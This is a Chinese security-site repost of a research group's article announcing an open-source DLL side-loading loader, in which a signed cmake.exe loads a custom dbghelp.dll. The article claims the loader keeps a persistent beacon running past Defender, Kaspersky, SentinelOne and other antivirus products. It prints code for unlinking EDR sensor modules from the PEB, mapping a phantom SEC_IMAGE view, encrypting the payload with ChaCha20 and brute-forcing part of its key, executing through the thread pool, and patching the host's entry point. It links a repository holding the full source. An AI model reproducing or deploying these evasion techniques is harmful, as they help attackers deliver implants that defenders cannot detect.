挑战主流杀软之后,我们选择开源"

admin 2026-10-16 12:44:56 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

挑战主流杀软之后,我们选择开源

原创

信益安研究院
信益安研究院

信益安信息安全研究院

2026年10月15日 14:27
湖北

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

挑战主流杀软之后,我们选择开源

信益安信息安全研究院

各位师傅们,好久不见。

这段时间团队集中在攻防项目上,公众号更新慢了,让各位久等。项目告一段落,这次直接为大家公开一套完整的白加黑实现技术,并附上多杀软对照实测视频。


白加黑关键实现

白加黑的原理并不新鲜:用带签名的白 EXE,加载同目录下的 DLL。真正要解决的,是加载链在主流杀软的检测下能否完成上线,并在定时扫描后仍保持会话。

这次我们为大家开源一套完整的白加黑实现:带签名的白宿主 cmake.exe(Kitware 原版,未改动),以及自研代理加载器 dbghelp.dll。两个文件放到同一目录,运行 cmake.exe 即可上线,无窗口、信标常驻。

下面为大家解读这套白加黑实现的关键代码。

将 EDR 传感器从 PEB 摘链

/* x64:BaseDllName 在 +0x58;三个 LIST_ENTRY 在 +0x00/+0x10/+0x20 */
if (bl_ieq(bbuf, L\"atcuf\", 5)) hit = 1;
if (bl_ieq(bbuf, L\"bdhkm\", 5)) hit = 1;

只摘链表节点,不修改传感器代码,也不改动磁盘文件,因而不易触发防篡改。

phantom 自镜像,不申请私有可执行内存

pCS(&hSec, 0xF001F, NULL, &lim, PAGE_READONLY, 0x1000000 /*SEC_IMAGE*/, hFile);
pMV(hSec, (HANDLE)-1, &view, ...);

通过 NtCreateSection(SEC_IMAGE) 将自身再次映射,内存类型为 MEM_IMAGE;载荷写入超大的 .text 段后执行。全程不出现私有可执行内存。

实现上有一个坑:对运行中的映像打开文件时,访问掩码不要带写位。0x21 可用,0x23 会直接 STATUS_SHARING_VIOLATION。

载荷加密与密钥暴破

for (b0 = 0; b0 < 256; b0++)
  for (b1 = 0; b1 < 256; b1++)
    for (b2 = 0; b2 < 256; b2++)
      if (dv_crc64(target) == G_HEADER_CRC32) return 1;

载荷使用 ChaCha20 加密;密钥末 3 字节在运行时暴破,并以 CRC32 校验首块明文,约 1670 万次迭代。静态分析阶段,通常只能看到 UUID 字符串表。

线程池执行与入口空转

pAW(&work, (PTP_WORK_CALLBACK)textVA, NULL, NULL);
pPW(work);
ep[0] = 0xEB; ep[1] = 0xFE;   /* jmp $ */

执行通过 TpAllocWork / TpPostWork 提交到线程池,没有 NtCreateThreadEx,也不触碰线程上下文。同时将宿主入口改写为 jmp $。cmake.exe 原本会秒退,改写后进程保持存活,信标得以持续运行。


白加黑视频演示

我们专门录了一条演示视频。搭了一套多杀软对照环境:攻击端用 Kali,靶机上分别装了 Microsoft Defender、McAfee、Kaspersky、SentinelOne、Bitdefender。

测试大概分几步:先把测试文件丢进靶机,再从 Kali 起监听,然后逐台投放这套 cmake.exe + dbghelp.dll,观察各杀软的反应与会话回连情况。完整演示可查看下方视频链接。

推荐观看

  • • 哔哩哔哩:
  • https://www.bilibili.com/video/BV1DLpC6hEKC/?share\_source=copy\_web&vd\_source=ad3b9607e18c99d9dc330fc4741fba80

哔哩哔哩演示视频

• 抖音:

https://v.douyin.com/xlZ44A8v1NI

抖音演示视频


白加黑代码开源

开源文件一览

cmake白加黑开源文件

仓库内容包括:完整源码(中文注释)、载荷与导出生成脚本、一键构建脚本 build.py、使用说明与实现注意事项。

GitHub 开源地址

https://github.com/Answerr/cmake-

信益安信息安全研究院

最后

🌟感谢您看到这里,您的支持与关注,是我们持续输出内容的最大动力

🌟欢迎加入我们的交流群

挑战主流杀软之后,我们选择开源" 网络安全文章

挑战主流杀软之后,我们选择开源"

本文公开一套白加黑实现技术,利用带签名白EXE加载同目录DLL,通过PEB摘链、phantom自镜像、载荷加密与线程池执行等手法规避主流杀软检测,并开源完整代码及多杀软对照实测视频。内容涉及免杀技术细节,仅供安全研究参考。
第41次全国计算机安全学术交流会|山石网科获评“突出贡献单位”" 网络安全文章

第41次全国计算机安全学术交流会|山石网科获评“突出贡献单位”"

山石网科在10月15日于海口举办的第41次全国计算机安全学术交流会上获评突出贡献单位,该会议由中国计算机学会主办。公司高级副总裁杨庆华代表出席颁授仪式。文章介绍山石网科作为网络安全技术创新领导厂商,掌握30项核心技术,申请540多项专利,布局信创与自研ASIC安全芯片,提供10大类产品及50余个行业解决方案,未来将继续深化产学研合作,助力数字中国建设。
X测绘平台" 网络安全文章

X测绘平台"

本文介绍了作者自研的X资产测绘平台,整合域名、JS、历史路径、APP、小程序等资产收集与管理,通过Ghost采集、多来源补采、移动资产监控及API统计等功能,提升信息收集与项目复盘效率,并分享了实际使用中的优化经验。
评论:0   参与:  0